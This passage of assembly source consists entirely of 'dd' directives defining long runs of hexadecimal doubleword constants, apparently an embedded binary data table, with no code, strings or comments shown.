9C5F674h, 60018F37h, 1B8214C7h dd 4431F753h, 79820124h, 17052286h, 436C20DAh, 35EF4900h dd 3E8010C3h, 0A29F0004h, 2601CFBFh, 670078B1h, 8B88A854h dd 79B6031Bh, 8F4F156h, 0A51E00E8h, 7A4D8ADh, 7B3AF020h dd 4B097E7Ah, 8001F87Ch, 35FD01Dh, 0E5C918B3h, 11B028A3h dd 6E0FCC00h, 96AAA504h, 82F0EB3Dh, 0B108C054h, 0E741ADB7h dd 32448A00h, 0C07B4FF8h, 13B403BDh, 91A4FDC9h, 1D5EAD8h dd 0B86EF900h, 3541C2C1h, 53A10024h, 0EF9E582Ah, 0BCAB9FEAh dd 92475900h, 769CA9D0h, 0C1A40EB3h, 9A061EDh, 94B0EBB5h dd 68A0B72Ah, 680CE3h, 0FFFB2767h, 0AC5D48E7h, 8D06567Ah dd 0A0473025h, 4C1EFC29h, 5E016B78h, 0C62A7F50h, 6E49C4E5h dd 72BFC100h, 0F5162280h, 767D0383h, 356DDF1Ah, 0FB6EA11Bh dd 7187C049h, 3FFF00E6h, 0EF1B01C6h, 0A504C76h, 0F11F03BCh dd 0C305C967h, 0DC007FB4h, 4F76C774h, 97C7D5Ah, 3F14691Bh dd 0C3909A88h, 310FB3C3h, 0AF3F9E10h, 2D4F0Fh, 0A5143BF7h dd 80DA54A0h, 6B4B09B6h, 1F8C67DEh, 1B492CA1h, 0EEC91514h dd 30F316E8h, 0B0B603BEh, 5FC845ADh, 0B11E87AAh, 5943223Fh dd 90258524h, 515C8175h, 82CCDC97h, 0F2F9C0F9h, 6BB71412h dd 0E30041B0h, 0F744FD5h, 31DFB221h, 5C295167h, 359050AEh dd 5B07C713h, 2A706BC0h, 0DF7D2330h, 597F003Bh, 76DE629Fh dd 9CAC1AE3h, 41B15C30h, 0D9B992h, 0B263F711h, 0D7A4765h dd 0E60F19E2h, 0B5B709D7h, 1CE2DE9Ch, 0C7B670ADh, 803F07EAh dd 0B5EFE150h, 812459C0h, 930B862h, 0D73540A1h, 7BF69830h dd 57AF4700h, 4BB76B07h, 0E1649196h, 83DC5FA5h, 47D12070h dd 0DD610EAAh, 58E0F73Dh, 186BDC5h, 30030FAh, 9AD07EBBh dd 383A05Dh, 37E74233h, 0A011B52Fh, 0F453B67Ch, 85C15900h dd 0B307AE7Ah, 343C3700h, 8FFB1ACFh, 788C48DBh, 24FA7B10h dd 4C2A1203h, 0AEAA6138h, 3809E232h, 0C308B81Bh, 0CC94A8E9h dd 9781E93h, 7000BF0Ch, 1B3A017Bh, 5C505243h, 31002268h dd 919F417Eh, 3C00297h, 0DCBC5863h, 23B0FCF4h, 8572B104h dd 6027E7h, 8BD34806h, 29E765h, 0D8E52C43h, 9ACAD2Eh, 0F0258C05h dd 0CC210CE9h, 582564DFh, 20A92442h, 7D88EF4Fh, 0D0002CE2h dd 0FB478071h, 74DE6AA4h, 4831C959h, 0CFD16402h, 1B76B202h dd 0AEB8E0D0h, 95834A9h, 7ADD1DCh, 81E686DBh, 0DCEE507Dh dd 0A41BDE82h, 0C129E157h, 4180056Ah, 603F133Bh, 5714C974h dd 0A480F6BCh, 8715E020h, 0DE660F77h, 24207BFFh, 0BAA46B47h dd 0BB4D3B01h, 0B8B26735h, 316ECC40h, 0E0AB21h, 331A9450h dd 83772353h dd 86EAFA00h, 18E5AE3h, 99E060C9h, 0A1D03851h, 0C69938h dd 77B8A7FFh, 935481Ch, 365BDF55h, 50F85C91h, 0BF60230h dd 18491B32h, 59802016h, 0FD26CC91h, 91CEE0FAh, 49EE7C80h dd 88A8A55Ch, 640F8088h, 74289D4h, 20B7C25h, 41138227h dd 0C31724B4h, 0B91CE2C8h, 0F7DCE71Dh, 0DC8E2800h, 59421F7Ah dd 3800042Ch, 0FF81ADF0h, 50EAD3AFh, 60A8C625h, 39619E05h dd 3EB13A33h, 0BD16C228h, 0C7CE806Eh, 0F91A4A2Dh, 8A070054h dd 0C10197DFh, 4467E840h, 2F705598h, 13B18B8h, 609F38CEh dd 5040D9A0h, 0B2F70928h, 0D55D80h, 0C84BA156h, 5F8448DCh dd 8E624E00h, 93876030h, 0A02C0379h, 2F9B19A2h, 8092E9C8h dd 3C0E36F6h, 21F995BCh, 293950CBh, 2263CCh, 9A81A1A3h dd 1B6035A7h, 5E0C9B7Fh, 80CD1120h, 0B9AC1C62h, 0D9CAC0EAh dd 0C0F7D7A1h, 9587F0Ch, 0A4E902h, 6CBF1069h, 0BE0BAD0Ah dd 71624A01h, 0CF7D9BF6h, 0A8914886h, 21303105h, 0B894F120h dd 0AA67058Fh, 8362D29Fh, 7BE8AE3Fh, 0D814107Dh, 0C080CA08h dd 0F858EB9Ah, 9BD200B7h, 95B9CB8Dh, 5115B1DEh, 829CA1E0h dd 23EFB091h, 717C98F7h, 52896324h, 0A0186018h, 2273886Ah dd 0AB16F1C0h, 0EA66ADECh, 0FB5306B5h, 0B8E54DAAh, 2EE91E44h dd 7EBB075h, 0C09643D8h, 72AD4216h, 35565A00h, 48631710h dd 60C07D65h, 99CE583Dh, 58011BA1h, 2FCF0E93h, 8884CA84h dd 406BC138h, 0C3B02AC9h, 0F4FC75h, 8C63EB2h, 0C224379Ah dd 4D070500h, 0CBF8CFA8h, 0D79E0551h, 607B26D1h, 94C321C8h dd 3E9C900h, 375778C8h, 608E7CF3h, 0EC8D71C7h, 0D3003E95h dd 0F8B03314h, 0E2E2FB77h, 0F54201AFh, 0A02E3271h, 0ED998D19h dd 3BE008F3h, 1FEA18AEh, 0A662B111h, 44496BFAh, 535F3E3Ch dd 14E80284h, 4326244Dh, 2A6CA83Ch, 7A33008Ch, 92824658h dd 0AA83DF97h, 9AD899B4h, 8D153009h, 5784A602h, 910F2335h dd 184309D4h, 0FC3A8017h, 1BE60393h, 9555B5A8h, 6CC1801Bh dd 83269849h, 4FD91C78h, 7EE67Dh, 9EDE0C0Ah, 25057ACBh dd 5C59B5B3h, 4B6DE042h, 20DCAE3Ch, 608F5495h, 0A13B0CABh dd 0ECA11B21h, 8BA4A00h, 472AD586h, 221000F4h, 0CD16961Ch dd 631EA451h, 9409F741h, 0CC3424FAh, 8E45E640h, 9F1872B3h dd 0A150CA5Bh, 34DA4856h, 0AA2707C0h, 4000554Ch, 0CC8013D3h dd 0C0659196h, 772581F8h, 0B402D833h, 9CF70F8Bh, 21B84488h dd 1F11274Ch, 1DF91500h, 6234A282h, 36E1DC02h, 48C62068h dd 0AD480Ch, 0A681C112h, 0E25A1CB5h, 0C3395F00h, 0F8B3E8DAh dd 0BDA90598h, 5E578F71h, 1C381194h, 97C1F688h, 16A2DCA0h dd 91BA0FCCh, 14C90114h, 0F4819CFDh, 0EAFCBC1Bh, 417911B0h dd 39C1B300h, 0C4E4B0E8h, 0A62D00CBh, 0E723F00Dh, 987218DAh dd 33C6C302h, 81213296h, 995B5C58h, 768ED4h, 85917CD9h dd 0B13F787Dh, 736A53Eh, 0BE65ACA6h, 0F2838C5Ah, 0A0E6681Dh dd 3B0C9Eh, 285ABECh, 170F8C97h, 0EB45895h, 0FCCB5E13h dd 0B7D68120h, 3B078864h, 797313Dh, 2CD81859h, 0C89B0093h dd 0B490506Ch, 0BF008A71h, 97CBB7E5h, 4D799DC7h, 3902F0CFh dd 83D105D9h, 7CC2DC81h, 0F1CC501Dh, 54E1B792h, 3C4C82D8h dd 0B9A1C220h, 25E1CDAh, 14EF8049h, 3E5CFE70h, 7D343B1Eh dd 0C8422070h, 0BC230027h, 3F0C5414h, 50F521D4h, 0EBEF9994h dd 231F2A03h, 885EA53Ah, 76C30A7Fh, 0B56E0432h, 902F79ABh dd 6E939A8h, 4CA9F960h, 54741D7Bh, 0A2E429h, 990FCF0Dh dd 0A8F9CB75h, 9048B690h, 58C11808h, 0A00F16B9h, 0C4D9DF5h dd 0ECD82046h, 0BDECAE41h, 1AC88F54h, 6E0090EAh, 0ACD2CBEEh dd 2699F59Dh, 7E89AE4h, 4143103Ah, 349FBDC0h, 0EF4908E0h dd 415006C0h, 4818D739h, 5300BC13h, 803FC1B7h, 78014E5Bh dd 83979C51h, 0B8588CCDh, 891C1h, 0E70FB41h, 0CC013106h dd 6697E7E0h, 0E0202C0Ch, 9D07139Eh, 2F580BF7h, 2341E58Ch dd 9FE4DA48h, 0E020AE16h, 54095D3Eh, 15E429h, 37A3FDA2h dd 86287F39h, 780150F8h, 6640E28Eh, 58624155h, 51367318h dd 6B000CCEh, 8F92FE6Eh, 2A58A9AAh, 9AC571Ah, 9B3C16EDh dd 9DF41480h, 5116DB86h, 280A613Fh, 41915018h, 9EF73906h dd 913C4159h, 5069E7B4h, 17850881h, 0E0EE2061h, 80E3FF04h dd 1F6AAA92h, 0C96AB8C9h, 7811B403h, 1E68047h, 0D0F011Fh dd 85E376ADh, 0A0E06165h, 6C86B070h, 0EF37E600h, 0C2AE00Ah dd 8B7900B8h, 0B9FE9B98h, 0FB047D2Ch, 99B0E5DCh, 9A9604C1h dd 137F7820h, 20BDEF81h, 0A9C375E4h, 13218B00h, 9E598993h dd 0AA413E34h, 0E46C8000h, 0B6FD0C3Fh, 12F8C153h, 0BF055710h dd 8C30131Fh, 80BF5B20h, 3065ED23h, 54C80919h, 40790046h dd 0C1493C35h, 0F20028C5h, 0A4055EEBh, 7681CD6Eh, 828D002Dh dd 9721FFF1h, 0EC38A523h, 39F67556h, 6C44BD00h, 9CDEA017h dd 0C07500BCh, 0E7133F35h, 0FC122C1Fh, 5207E2D8h, 0E3002E05h dd 1A79165h, 99A1E76h, 81877B53h, 0D801EA58h, 6986D2CEh dd 1898A0F9h, 583DF6F0h, 59901DE1h, 491B9103h, 372875D3h dd 6058F9ECh, 0D66E9B45h, 49BB0501h, 0BF16F64Ah, 9EE40C41h dd 0AA216981h, 8DBD74h, 0BB457Bh, 0E0A0FA22h, 0F721E9E5h dd 32A2C81Eh, 0F45B6EC1h, 0C8FB0BE7h, 30FA252Bh, 0BE29C29Fh dd 88C0E8FBh, 868A96ACh, 8F6F48FCh, 6666E00h, 35AA1519h dd 32E4C806h, 0E39E25Ch, 0CE2B5938h, 0FE41EC40h, 3D0540CAh dd 79532271h, 0F4EA8040h, 0A252F7h, 0D4696E95h, 7087BB30h dd 0EF9CCD00h, 73AD6253h, 16DC00E9h, 0DA2542F3h, 0E0F51E6Fh dd 11C35A0Bh, 7AEBA56h, 946DF729h, 0AA533091h, 3C03F660h dd 0D16807Eh, 2A797DEFh, 7949B68h, 0E6053850h, 71800E5Eh dd 0FCEFF81Ch, 4B2FB302h, 0A0521682h, 5F5643C4h, 0DF800001h dd 3668F750h, 5D003206h, 0EF92A9FAh, 0C3A895ABh, 541A9158h dd 7956390Ch, 0A101F193h, 0D8C0A9F4h, 91ED00E4h, 85340E68h dd 0A1303C06h, 56FC2920h, 64D60044h, 824C4965h, 44A34E11h dd 8106F4CBh, 0FAF19F31h, 2BF02D9h, 8F5F88D9h, 0EFAEF9C1h dd 99945100h, 0EB21DD41h, 955300CAh, 8569ECBBh, 0E5009EE9h dd 0EF101C2Dh, 265B020h, 0CBF752DDh, 0D083BC93h, 49152A7Ah dd 7F0CD5Ch, 4F45D806h, 0B615320h, 1550F7Eh, 1F60D611h dd 93D0B74Eh, 85DF5C0Fh, 0BA4138DEh, 0A8B90EF1h, 0FDAC08A1h dd 30008DB9h, 36D32F88h, 0F0E5CE5h, 0EE68CE4Ah, 3CE856C0h dd 6C581A82h, 0F1A80C87h, 7FA39F6h, 0D516B5C7h, 97A704Eh dd 3800FF95h, 1FBB8D56h, 7E011A47h, 60CB3A44h, 0DDE92B80h dd 0B4735689h, 17D18D00h, 0BEFFF216h, 0DABB898h, 0E5F0D6D2h dd 0F4CBF561h, 5200B5BCh, 1BFB556Ch, 3DC760C5h, 3E00205Ah dd 6CB0714h, 72EAA02Eh, 3DBB250Fh, 94CA6AE4h, 0F9D6D886h dd 86DB2A51h, 45B00084h, 1764EC7Eh, 213E1CEDh, 2D1F0171h dd 20AED6D5h, 4C53BC42h, 0A455F01Ch, 648212A4h, 6C08424Ch dd 2464D640h, 77171600h, 0D455C0DBh, 63BFEECEh, 1E7C1176h dd 5141E7D0h, 6E3B2F00h, 0EC8D9215h, 0F45700C4h, 63F128EFh dd 5E048812h, 75944B0Bh, 0A4063883h, 0F7BAA880h, 0C07E4839h dd 64A80A24h, 6208375Bh, 84A0E45Dh, 0EDBF2DDh, 43021D00h dd 3768EE79h, 0A51A1292h, 24A000F7h, 55F2107Eh, 0AA1F9B06h dd 61F8F1h, 78A48CE9h dd 655CE8E7h, 0D3741000h, 4A4CFC50h, 40F86189h, 51B96F56h dd 83647084h, 0F75E4F80h, 9A9B9A54h, 715C0590h, 8CD814h dd 392FEBF5h, 0A04D77FCh, 615510h, 2DEECE9Bh, 0CB4F6BD3h dd 3B99F03Ah, 0A0330214h, 0A353BEF7h, 0F06DF6C4h, 8E8234h dd 2637C291h, 95FCECCCh, 0C8D6E800h, 40CDF593h, 56150006h dd 0F76DC197h, 0EB50B948h, 944479F8h, 4FC03099h, 7B2B6559h dd 0DE25E71Dh, 9A532130h, 32E800D5h, 15FFF90Ah, 0DE1068CFh dd 9109730Eh, 0DCA5FA62h, 0C8A420F4h, 2F00FB30h, 0F0175BDDh dd 7D375F64h, 8092507Eh, 60147D4Bh, 26437950h, 44017406h dd 60A8F3E1h, 1434F805h, 14BF5001h, 0BB1300AFh, 94DC72EAh dd 0A1035CBCh, 0DE4205B1h, 0C5B1007Dh, 2ED8CF8h, 3B007C70h dd 80CAAFE7h, 0ABA858h, 2BE297BDh, 0C9D8F436h, 0E9EBD344h dd 9E4E9880h, 91EC505Ch, 23AC33E7h, 0BA64247Bh, 13D0D185h dd 0CA500351h, 0C0BE20B0h, 0B6FE600h, 0B3FF0470h, 869D2F0h dd 9E80E46Ch, 0B8D1879Dh, 4C4000A5h, 0D331DBEFh, 0DF3A382Dh dd 0AD630096h, 779A3F83h, 7907005Ah, 0F2D614A7h, 4F309448h dd 0B8102839h, 10BFE98Bh, 0C57A221Fh, 0C759090Ah, 37F983DDh dd 873B2800h, 67D61A3Dh, 7C3601E8h, 0C442D854h, 0C8E03191h dd 1B0006B1h, 3BB9059Ch, 52A5560h, 0D9B06C2Dh, 0AE380018h dd 8E1489B4h, 94530403h, 18F39110h, 29B19281h, 443CDC1Bh dd 852F0E4Ah, 702BE09Dh, 101042E8h, 795DD92h, 54D2EEE3h dd 0EE590E33h, 0DB2831C9h, 6F1F8351h, 11500E0h, 5278778Ah dd 0F84603EBh, 710324ACh, 0B0AAF58h, 0D37918A7h, 1BE3F1FFh dd 0C8254C05h, 0BE01C4D5h, 0D952173Ah, 0C5DEF0h, 66468FAAh dd 0A92B0E30h, 810F9030h, 2E0B81h, 2D06CFC4h, 0EB89B336h dd 80F2E8C8h, 0AFAE35FFh, 800C999Eh, 81BA93B3h, 60F60019h dd 0A01B588Bh, 98054156h, 0D7076D99h, 686DA1Ch, 48E023h dd 0E37179F9h, 53F64712h, 6E97AC07h, 0DAA041DDh, 39D88E5h dd 0E8682BBBh, 0D900FED3h, 620C870Dh, 2C89B0C9h, 1A0D2B6h dd 4BEE18C1h, 9FDFE840h, 0CD2DF007h, 0D5509B8Ah, 1CEA1D3h dd 0ECADB02Ah, 80A59213h, 745F17B1h, 0F76F11Ch, 0D8A3B736h dd 0E3DE2B80h, 943A4254h, 0DBF6801Fh, 0A619BAEEh, 3D55B01Eh dd 0B14C1A2h, 37010CC8h, 22DF7338h, 0AF0C2009h, 1660D9ECh dd 7D1D9669h, 224312F7h, 0C4C102EAh, 0A8A00D0Ah, 53CF3EDFh dd 7638DB18h, 912B6031h, 0D57A0004h, 7C40F641h, 0BD3F5800h dd 78D286E6h, 0D8C300D0h, 521EBC1Ah, 44915EFh, 0ED2750A0h dd 0B39241C6h, 0B2D90569h, 80CE1F57h, 0ABA966B3h, 6FC0454h dd 9FAC0C48h, 8611D508h, 1997A3E0h, 0BF8E1B07h, 15206924h dd 6006187Ah, 898C11BEh, 9101AF43h, 5CCEB7A6h, 2F602223h dd 6786392Bh, 0A391EEB3h, 0BDB95998h, 858C0600h, 0D5471DB5h dd 0C5A6019Dh, 0CE55E697h, 8168F05Eh, 0BCD20C04h, 348CB21Ch dd 422507C5h, 7096F8ABh, 0C166B37Ah, 8E48D971h, 98870058h dd 0CE82DCBDh, 79E6614Dh, 0E8A133FFh, 2B54D347h, 5170C594h dd 9A6CFC00h, 490F2FAh, 0AEBE0088h, 10B39154h, 41C2E78Ch dd 0A14E14F0h, 0F22B62D0h, 70540A11h, 34039B3Eh, 0C74C035Fh dd 8B66D8EDh, 3B30C160h, 10E58E10h, 8D9FA0h, 0AEA36280h dd 673330E2h, 43A78B00h, 0A2FF38A6h, 0B6872210h, 0F9DF927Bh dd 8A3EEF40h, 0A1717Bh, 4A88E858h, 4651AC99h, 3311A00h dd 98E5E1F4h, 3EBC261Ch, 0EC0D1410h, 4010A7C4h, 0AE9DA006h dd 17210940h, 0AC8FE43Ah, 3C5A94FCh, 7309AC22h, 805261C9h dd 8BBE2D9h, 4801F93h, 98E10E79h, 603001BDh, 50D89933h dd 0D65F8B08h, 2C043BE0h, 0B017EF78h, 90102C90h, 1CCCA4F4h dd 0C0A4681Ah, 4BBF1536h, 8F3D583Bh, 0E470A89h, 0CE67E08Ah dd 6461320h, 0DCC9C00Ah, 0E6C60DD9h, 0BE3E8E1Eh, 0B1B2944h dd 8868C8h, 73A0821Eh, 94C07F58h, 0D0A18F00h, 0F8DB159Ch dd 0C94A0F13h, 0E8819055h, 0F0D499EFh, 0A1E20AF0h, 84018905h dd 0CC0F4E9Bh, 0F2042035h, 90B4BD75h, 931028E4h, 2C2F4850h dd 20FA8BC0h, 0BA0BC5C2h, 0A8B637h, 0B4C1F9BAh, 7C722DE3h dd 0CB039F58h, 0A6BF73E0h, 63D802Bh, 0FAB9C00Dh, 70879460h dd 0A376C277h, 766B6C01h, 0EA3A0D64h, 351B1F8h, 15DC3FCAh dd 1BB31206h, 8C8598A0h, 0B41CB872h, 9193AF40h, 0AC930020h dd 543F44Eh, 3B6CC43Ah, 3170814Ah, 0DBC91055h, 82B8992Bh dd 23A41C4Ch, 161D8560h, 40B15900h, 3E7C8A7Eh, 8CC700F8h dd 6F5D0C95h, 0C2389EE8h, 0D03600A9h, 32DAFFFDh, 0D70A0112h dd 575A44B1h, 3C94C4A6h, 0AFCE3Ah, 22691876h, 236191Bh dd 0E97D5781h, 9940340Bh, 0C62D8DBFh, 0EC47654h, 0C8985893h dd 3600AEEBh, 0F1C98EF7h, 4917DA28h, 0AF016C91h, 0EABDEC77h dd 0AC6C48C7h, 0C3648h, 0BC7D5921h, 5566099Ah, 6F88C45h dd 0FA4CB222h, 75771EACh, 0BB3800F0h, 31CCA5D5h, 1865F213h dd 47950C07h, 3608E340h, 33AB1252h, 65BC002Dh, 4C9053E2h dd 0D5009D7Ch, 110DDB64h, 16CAD00Ah, 197F839h, 0C4AA0221h dd 34C326Eh, 1B2CC0Ah, 574EC049h, 8D45009h, 7141041Ch dd 851A9E07h, 68E804D0h, 0AE364098h, 133883BEh, 22CF1306h dd 0C7279BE4h, 1D851C6h, 0DA6B3460h, 30E68853h, 0BEFE0D8Ch dd 0C3BA1F09h, 60B88F3Dh, 931CB78Bh, 1E41C0A9h, 687FB3C4h dd 0F6D5AB1Eh, 62BE10C0h, 0F6052A13h, 6C095C9Bh, 7CC9D33Bh dd 0DBC54000h, 58F08DEBh, 0C6C6600h, 5A3246C9h, 0AE530029h dd 54EE4BD7h, 0F302E52Dh, 93C08BD8h, 0F400C13Fh, 0CD970841h dd 14A8A9C0h, 0BCB77438h, 3BA64A07h, 0B960BE03h, 29D9D8BEh dd 3757AD02h, 0A0DC2CAEh, 1A3540A8h, 0C8E60063h, 921FD90Eh dd 0CA039A5Ah, 0DA25AF6Fh, 0B9149133h, 1A2DBC70h, 0C1022CEFh dd 6F0050C6h, 0C062A5FBh, 912142h, 0CF29ED98h, 2850110Bh dd 8028F969h, 1F15F008h, 409014h, 5C093B36h, 0DEA36D7Ch dd 0EC8F1015h, 22F016D8h, 0E1372020h, 0EDD90949h, 38802986h dd 0F2E31A0Fh, 888CE600h, 738B54CEh, 0BB90094h, 92D890BBh dd 2B008E2Ah, 175E1BF1h, 0B16024h, 0DAC37994h, 508BD049h dd 5C73DB07h, 104B0AC0h, 0B93698h, 0CE212E77h, 78B84041h dd 652BB317h, 384EA712h, 0B44296DAh, 4CAEC494h, 0D2A915ECh dd 0D9008CF1h, 0EFEA70A2h, 38B9CE8Bh, 3AEDE501h, 2FF47A83h dd 1D7188h, 0C5554037h, 0E7BB8776h, 583CC424h, 12573F0Eh dd 0CF361C00h, 99D0815Bh, 62C20038h, 46A0C42Eh, 7C01D27Eh dd 0F503A3C7h, 28E0EEA2h, 928900B5h, 63D178C2h, 8B00BE85h dd 0FE13F35Ah, 692CCE42h, 619D4h, 0AF71A127h, 0CCC40B07h dd 0BAF94CEh, 64C05B1h, 228888h, 0B84112C1h, 0AAEB98Eh dd 0A0950B2Ah, 58AC3400h, 0E5CE6629h, 53D609BCh, 0FC14F468h dd 0C600C82h, 1CB9E88Eh, 0E2BE44BAh, 0AE4A33B0h, 0B3883680h dd 2898C06Dh, 0F39A0B00h, 0F73F7A7h, 4060B8BFh, 0DF0097D4h dd 3756C6E0h, 54A3671Dh, 60ADCCEEh, 4938C113h, 83B855B6h dd 857C2E4Ch, 0E0C0CEBFh, 582D0D0Ch, 7DC0303Bh, 73919C60h dd 0CFE7A007h, 0D2C19590h, 8C20F3FCh, 80209428h, 1781BECAh dd 0F00D82Eh, 74B02A16h, 7641A41h, 15C70CACh, 0A9014093h dd 78C53ECFh, 9CC8284Fh, 0D4543E6Bh, 0AFC62082h, 4E2FE829h dd 8BC7C0C0h, 1D6401Bh dd 0CEB862ECh, 9352D31Ah, 1090EFC1h, 180F2BD5h, 41898A10h dd 0BE008CD6h, 0CA88B3CEh, 3C2C0403h, 940014E8h, 216EDD25h dd 0FD0AE052h, 8DB21EF2h, 682B4409h, 3B3AD8h, 0AD20B189h dd 0B57AC2C1h, 7107AE7Ch, 0D91BF362h, 0B3D81929h, 8513AE1h dd 1024EC2Bh, 60CD48FFh, 0AC655880h, 8CCBFCBFh, 0BED60375h dd 0C5CDD814h, 0B22209B6h, 4432Bh, 6DDCB493h, 0C86F530Fh dd 2320C048h, 6A862Eh, 9ABF3A8Ah, 44346DD7h, 0BE043BF6h dd 8E18A98Ch, 2E92DC88h, 13BA9791h, 8911AC7h, 0F8410CB0h dd 93393209h, 30E444A8h, 8E210EF1h, 8DF28216h, 1025B674h dd 0FF542089h, 13CC067h, 0B0668B29h, 0D8C93FF5h, 0E4904076h dd 1FF3710h, 0B862FC41h, 9C6DD90Bh, 5D293480h, 67340655h dd 14CC79ECh, 1EAF7h, 5F4BEA88h, 5251CBBFh, 0FE93573Eh dd 84FBDB09h, 2E404891h, 0E07B61h, 0F68BF8D6h, 104AA530h dd 7AC89016h, 0A08AA420h, 0BCF424ACh, 0AD928C48h, 1B83C41h dd 6D710D0Eh, 0ECA42133h, 946249E2h, 0D9360174h, 0D3AA6AD8h dd 68020EDh, 30A6625h, 2CD0E0h, 13190DB9h, 4606BD26h, 4CB7F53Eh dd 24A026AAh, 3AE28840h, 0BED26FBh, 90182A0Ch, 7FBDF038h dd 8B3C044Eh, 814A8110h, 0E024C8h, 6B75EEh, 0C361139Bh dd 3AC76393h, 0BF03E600h, 1E4DF1FBh, 88AE0234h, 69D0096Dh dd 12060069h, 0A85228h, 0C51B4DA6h, 0FCC0FB5Bh, 2E0CD77Ch dd 0F1B06709h, 46AC3C36h, 0D97BEC82h, 0F8605F63h, 114D1F6Dh dd 8AB93ECCh, 6C071C6Ah, 6806013Ch, 4D617260h, 3C2464F2h dd 7E0F2ED0h, 6740A98Dh, 0C143CBCDh, 0B26DB400h, 0D173E0F3h dd 78525CCEh, 458CF1CAh, 85D81098h, 8224BD00h, 18858CC2h dd 84709248h, 5C88A590h, 0EDCB1231h, 0E5243034h, 5000E474h dd 8712FC83h, 0FA7FA7h, 0CD0F91BFh, 0F7D3DCCAh, 93543271h dd 0A481B24h, 0CE8E8458h, 2168092h, 0A210F087h, 0F949107h dd 0AD60E1B0h, 0AC3B0433h, 79259704h, 348C0E47h, 0B50500BEh dd 14D66A06h, 0EB1C91DAh, 0B8711B3Ah, 0D3C4A8BAh, 2189003h dd 0EE1DB02h, 18C1E215h, 0E134388Ah, 0CC4867BDh, 303E0B9Eh dd 6C101BEFh, 9096B810h, 8C543A40h, 997664DDh, 639E40AEh dd 1D2C860h, 0C4B954E9h, 46740936h, 92508010h, 66242A24h dd 43DE4C9h, 97A694F3h, 0CD7BCD8h, 0D92B4A51h, 2604AC11h dd 59E0459h, 43B0A280h, 0BC37F25h, 4BF33684h, 6F064C02h dd 0A8314C51h, 0A712B321h, 0F80FB220h, 6D4348DAh, 9387953Ch dd 308B470Eh, 0B77515B4h, 0A0C2B832h, 3C90C6BEh, 4A0AAF3Ch dd 808C2AD3h, 0CCF3BD03h, 230325DAh, 1DA4A9D6h, 4FB381C3h dd 0E002023h, 0D565B8E0h, 0AA00EA24h, 5651F650h, 8252ECh dd 0D0021607h, 0B90EC13Eh, 0E3679B05h, 8433FA3h, 0AF93DBh dd 4E3642C1h, 8843523Dh, 1C002474h, 2396A9D9h, 481AFEEEh dd 9F6C93h, 33A2D4A1h, 7A161529h, 4C0F483h, 965122F0h dd 3E28068h, 0E188FC3Bh, 209846E5h, 962A144h, 2A8F6FEDh dd 84D3C4A2h, 6008E4A9h, 7AA347B8h, 0FC19003Ch, 0DB907155h dd 89919706h, 216093E3h, 443E943Dh, 26877C36h, 3B3840A2h dd 170B0691h, 70FEE74h, 23FF859Bh, 3BF2CCC0h, 7E6F3109h dd 2DAAA979h, 0AC2824ACh, 3E634C40h, 0B2600052h, 3E930BEh dd 6BEED8BBh, 0F704ECB8h, 0D3FA1F3Dh, 52B28224h, 16000C8Eh dd 342A6139h, 0FEC8C8F9h, 163F773Ah, 0B001FF15h, 8C48D233h dd 88DC6474h, 0CB009463h, 7E1B5806h, 0D998E3h, 68650B80h dd 0D0A7E9F2h, 0E1166312h, 8524AC48h, 0E4592FF0h, 8A449138h dd 53FF1D6Eh, 16949F56h, 0A890C893h, 0A04AD25Ah, 7C2C8CB0h dd 0DB004420h, 90C34A47h, 388EB933h, 0EF820EBEh, 0BA3D6EF4h dd 1098E0C0h, 0F06D688h, 2A0DF0D9h, 1914D486h, 0ED6B3C24h dd 94530A05h, 6867F804h, 0ED37C743h, 222B6BC1h, 0E115100Ch dd 17233803h, 381D08C2h, 5CEA8F10h, 0C93CAD50h, 3E1B0600h dd 0AE4497D4h, 99E22C2Ch, 28102788h, 87029E63h, 53F7A27Fh dd 3B1C79BFh, 2272F087h, 0FA8A209Eh, 0C3D0FBAh, 98E6BD14h dd 0ABA03B96h, 0D271404Fh, 0C85C8948h, 0CF3683B1h, 17902C41h dd 0DAF265B5h, 7848F628h, 91369244h, 0D27A8570h, 4E2B8002h dd 791631F6h, 0B80023D8h, 78D438E1h, 7420ED19h, 0C58CA08Bh dd 6979C4E0h, 18D35EBAh, 7CE21040h, 0E85D89Eh, 0D22F65F7h dd 600852FDh, 84CFFE2Ch, 0CB13071Fh, 40F0624Fh, 692E37EBh dd 30997FBFh, 0AF5116D3h, 39C0EF2Ch, 0F5F03FD4h, 0BC000BEh dd 36F85F6Ah, 5E0F2C6Ch, 0E55D7CB9h, 9460EEAEh, 4DEFDD3h dd 93B06096h, 858642B2h, 0ED0CC7Ah, 0DD6DC5BDh, 812411Dh dd 50E2A3B0h, 30164E80h, 0BC8A0E28h, 0F880D355h, 0B902E12Ah dd 2F171DB4h, 8F6C4990h, 0A89223EAh, 0E6A7138h, 0C0338442h dd 0BBC88A02h, 0A75500C0h, 18C6FE8Ch, 86008FAAh, 0E21216BAh dd 0BE3610D0h, 69090BC4h, 0ACA93C10h, 8E88124Ch, 6C60AE2Bh dd 771DAh, 702F9BF2h, 0B1CB3CFCh, 1FD52100h, 86B013D4h dd 5CA0099Dh, 0CC01E86Fh, 0BFA6C194h, 76ADC4A9h, 1CE500B5h dd 0F711F38Ch, 0AE2890FCh, 0F039801Bh, 8481E917h, 0FF41B680h dd 792CD30Ah, 0A32F0058h, 78F981Dh, 1F47E89h, 6DB1F17Ch dd 3CFC8E17h, 0EF3500CCh, 0E3B33DE1h, 2A149C3Eh, 0BDF4F98h dd 0C098680Bh, 3295CEC4h, 0F2F4012Ch, 0D2016ACFh, 2DCC50D0h dd 2AF71773h, 24083812h, 0B53F8EEFh, 0BC62C820h, 2000A879h dd 74312658h, 27B4AF50h, 948035F8h, 9FE0AE38h, 90919A60h dd 58D9D5F0h, 689842Ch, 0E47A2448h, 0DC44DA0Fh, 8C2060D9h dd 4CDD629Ch, 3F081C79h, 2F914F90h, 40449224h, 98C3323Bh dd 800013F4h, 12FFD922h, 3D283D5h, 471BDD4Dh, 0D028740Fh dd 36019C1Ch, 0F39789E1h, 0E8621E8Ch, 74227451h, 33EF4103h dd 0A92A3756h, 99008C1Fh, 9DF6AF91h, 842D66h, 0C9E16454h dd 841790Fh, 0F870330Ah, 0BE10ACE5h, 4190E6C8h, 881DFE1Ah dd 2D43F84Eh, 68009321h, 9A050EE9h, 3363A88h, 1028A324h dd 11F7C47Eh, 0E2208922h, 1D94B93Bh, 8747AC9Ah, 84D22D29h dd 7D34B5D1h, 7361348h, 2EA76420h, 6DF8A0h, 0A2DA9D4Ch dd 0B4C1CC7Fh, 0E4DE302Ah, 52C69606h, 4388C702h, 4FD22AAh dd 0B67BD36h, 0D3948156h, 7C7D03h, 0C0B75919h, 7F1DDD8h dd 